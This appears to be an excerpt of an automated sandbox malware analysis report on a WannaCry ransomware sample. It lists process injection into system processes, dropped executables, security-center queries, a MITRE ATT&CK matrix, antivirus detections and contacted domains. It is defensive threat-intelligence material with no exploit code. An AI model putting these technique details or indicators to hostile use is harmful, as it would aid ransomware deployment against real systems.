              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rvxtVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Creates a thread in another existing process (thread injection)
              Source: C:\Windows\mssecsvc.exeThread created: unknown EIP: 7FFF3C38Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1Jump to behavior
              Source: dwm.exe, 0000001A.00000000.336285255.000002C633456000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: winlogon.exe, 00000009.00000000.267273198.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.277616285.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.796875508.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
              Source: winlogon.exe, 00000009.00000000.267273198.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.277616285.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.796875508.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
              Source: winlogon.exe, 00000009.00000000.267273198.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.277616285.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.796875508.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager,
              Source: winlogon.exe, 00000009.00000000.267273198.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.277616285.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000002.796875508.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\5aa0b303abbc4c78a66d4eafa631a544_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338389\1658350367 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\280815\1658350367 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\f5132fc7737d4175bd109df4de56eb50_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\94a7e395da374f6d90a9e441909a3b13_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\0e89c0fc00134a06bcf7877c79db7ced_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658350408 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658350412 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\d5c2fcebbe32f15b4a2734b21a59d5eed92e055980f51b5c2b4def65cff29914 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\e6567aa891f2e12694fe3991aab02ae448f5769b19cd0e0c8bb38af3a6ca5c39 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\114ccd1127595e3b389c4c87788db2b07380b1ea5f06cf6ca56e626460eaab02 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\5c65735788a0ca6bf963badbcbba00ce4f6a3ad6f99a033c37a20a8bcd7b090f VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA388E GetSystemTime,Sleep,InternetGetConnectedState,gethostbyname,socket,ioctlsocket,connect,Sleep,closesocket,4_2_7FEA388E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF0 GetModuleHandleA,GetSystemDirectoryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_7FEA3CF0

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Changes security center settings (notifications, updates, antivirus, firewall)
              Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cvalJump to behavior
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
              Source: svchost.exe, 00000022.00000000.373259662.00000247D314C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.800561813.00000247D314C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.804567050.00000247D36BB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.796959935.00000247D25CE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 00000017.00000002.784716761.0000019886651000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,@V%ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.804567050.00000247D36BB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.796959935.00000247D25CE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 00000022.00000002.797501651.00000247D3000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000000.371681944.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000022.00000000.373259662.00000247D314C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.800561813.00000247D314C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000017.00000002.785346923.0000019886702000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: mssecsvc.exe, mssecsvc.exe, 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
              Source: mssecsvc.exeBinary or memory string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exe
              Source: svchost.exe, 00000022.00000002.797501651.00000247D3000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000000.371681944.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@C:\Program Files\Windows Defender\MsMpEng.exe

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid Accounts1
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              DLL Side-Loading              		1
              Disable or Modify Tools              		OS Credential Dumping11
              System Time Discovery              		Remote Services1
              Archive Collected Data              		Exfiltration Over Other Network Medium12
              Ingress Tool Transfer              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              Data Encrypted for Impact
              Default Accounts12
              Native API              		2
              Windows Service              		2
              Windows Service              		1
              Obfuscated Files or Information              		LSASS Memory1
              File and Directory Discovery              		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth2
              Encrypted Channel              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts2
              Command and Scripting Interpreter              		Logon Script (Windows)212
              Process Injection              		1
              Software Packing              		Security Account Manager123
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
              Non-Application Layer Protocol              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local Accounts2
              Service Execution              		Logon Script (Mac)Logon Script (Mac)1
              DLL Side-Loading              		NTDS371
              Security Software Discovery              		Distributed Component Object ModelInput CaptureScheduled Transfer2
              Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script121
              Masquerading              		LSA Secrets31
              Virtualization/Sandbox Evasion              		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common31
              Virtualization/Sandbox Evasion              		Cached Domain Credentials3
              Process Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items212
              Process Injection              		DCSync1
              Remote System Discovery              		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
              Rundll32              		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 670443 Sample: 4GDffePnzH Startdate: 20/07/2022 Architecture: WINDOWS Score: 100 67 Tries to download HTTP data from a sinkholed server 2->67 69 Snort IDS alert for network traffic 2->69 71 Malicious sample detected (through community Yara rule) 2->71 73 6 other signatures 2->73 10 loaddll32.exe 1 2->10         started        12 svchost.exe 2->12         started        15 mssecsvc.exe 2->15         started        17 9 other processes 2->17 process3 dnsIp4 20 cmd.exe 1 10->20         started        22 rundll32.exe 10->22         started        25 rundll32.exe 1 10->25         started        89 Changes security center settings (notifications, updates, antivirus, firewall) 12->89 91 Maps a DLL or memory area into another process 15->91 55 127.0.0.1 unknown unknown 17->55 57 192.168.2.1 unknown unknown 17->57 signatures5 process6 file7 28 rundll32.exe 20->28         started        87 Drops executables to the windows directory (C:\Windows) and starts them 22->87 30 mssecsvc.exe 7 22->30         started        51 C:\Windows\mssecsvc.exe, PE32 25->51 dropped signatures8 process9 dnsIp10 35 mssecsvc.exe 7 28->35         started        61 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.17.244.81, 49760, 49859, 80 CLOUDFLARENETUS United States 30->61 53 C:\Windows\tasksche.exe, PE32 30->53 dropped 63 Drops executables to the windows directory (C:\Windows) and starts them 30->63 39 tasksche.exe 30->39         started        file11 65 Tries to resolve many domain names, but no domain seems valid 61->65 signatures12 process13 dnsIp14 59 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 35->59 75 Antivirus detection for dropped file 35->75 77 Multi AV Scanner detection for dropped file 35->77 79 Machine Learning detection for dropped file 35->79 85 5 other signatures 35->85 41 svchost.exe 130 35->41 injected 43 svchost.exe 8 35->43         started        45 winlogon.exe 35->45 injected 47 15 other processes 35->47 81 Detected Wannacry Ransomware 39->81 signatures15 83 Tries to resolve many domain names, but no domain seems valid 59->83 process16 process17 49 backgroundTaskHost.exe 182 118 41->49         started       

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              4GDffePnzH.dll74%MetadefenderBrowse
              4GDffePnzH.dll92%ReversingLabsWin32.Ransomware.WannaCry
              4GDffePnzH.dll100%AviraW32/Virut.Gen
              4GDffePnzH.dll100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Windows\mssecsvc.exe100%AviraW32/Virut.Gen
              C:\Windows\tasksche.exe100%AviraTR/FileCoder.AU
              C:\Windows\mssecsvc.exe100%Joe Sandbox ML
              C:\Windows\tasksche.exe100%Joe Sandbox ML
              C:\Windows\mssecsvc.exe100%ReversingLabsWin32.Virus.Virut
              C:\Windows\tasksche.exe85%MetadefenderBrowse
              C:\Windows\tasksche.exe95%ReversingLabsWin32.Ransomware.WannaCry

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              7.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              7.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              12.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              12.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              4.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              31.2.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              31.0.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
              4.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              7.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
              12.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              12.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
              7.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
              7.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/100%URL Reputationmalware
              http://crl.ver)0%Avira URL Cloudsafe
              http://crl.pki.goog/gtsr1/gtsr1.crl0W0%URL Reputationsafe
              https://pki.goog/repository/00%URL Reputationsafe
              https://%s.xboxlive.com0%URL Reputationsafe
              http://pki.goog/repo/certs/gtsr1.der040%URL Reputationsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com100%URL Reputationmalware
              https://dynamic.t0%URL Reputationsafe
              http://Passport.NET/tb0%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ0%URL Reputationsafe
              https://%s.dnet.xboxlive.com0%URL Reputationsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              		104.17.244.81
              		truetrue
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/true
                • URL Reputation: malware
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=svchost.exe, 00000014.00000003.316050945.000001F6C2856000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://dev.ditu.live.com/REST/v1/Traffic/Incidents/svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://t0.tiles.ditu.live.com/tiles/gensvchost.exe, 00000014.00000003.315849134.000001F6C2848000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317155940.000001F6C284E000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://crl.ver)svchost.exe, 0000001D.00000002.667978543.0000011CACC5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://crl.pki.goog/gtsr1/gtsr1.crl0Wlsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000014.00000002.316685845.000001F6C2813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=svchost.exe, 00000014.00000003.316071142.000001F6C2841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317132351.000001F6C2842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://pki.goog/repository/0lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://%s.xboxlive.comsvchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		low
